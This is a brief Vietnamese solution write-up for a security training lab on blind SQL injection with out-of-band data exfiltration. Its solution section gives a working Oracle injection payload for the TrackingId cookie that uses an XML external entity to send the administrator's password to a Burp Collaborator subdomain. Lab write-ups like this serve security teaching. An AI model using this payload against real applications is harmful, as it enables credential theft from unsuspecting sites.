Lab: Blind SQL injection with out-of-band data exfiltration
Mô tả
Ứng dụng sử dụng cookie theo dõi để phân tích và thực hiện truy vấn SQL có chứa giá trị của cookie đã gửi.
Truy vấn SQL được thực hiện không đồng bộ và không ảnh hưởng đến phản hồi của ứng dụng. Tuy nhiên, bạn có thể kích hoạt các tương tác ngoài băng tần với miền bên ngoài.
Cơ sở dữ liệu chứa một bảng khác có tên là users
, với các cột có tên là username
và password
Mục tiêu: Khai thác lỗ hổng SQL injection để tìm ra mật khẩu của người administrator
dùng.
Phân tích
Vulnerrable parameter: cookie theo dõi (TrackingId trong các request)
Giải pháp
' || (SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password from users WHERE username='administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual)--
Last updated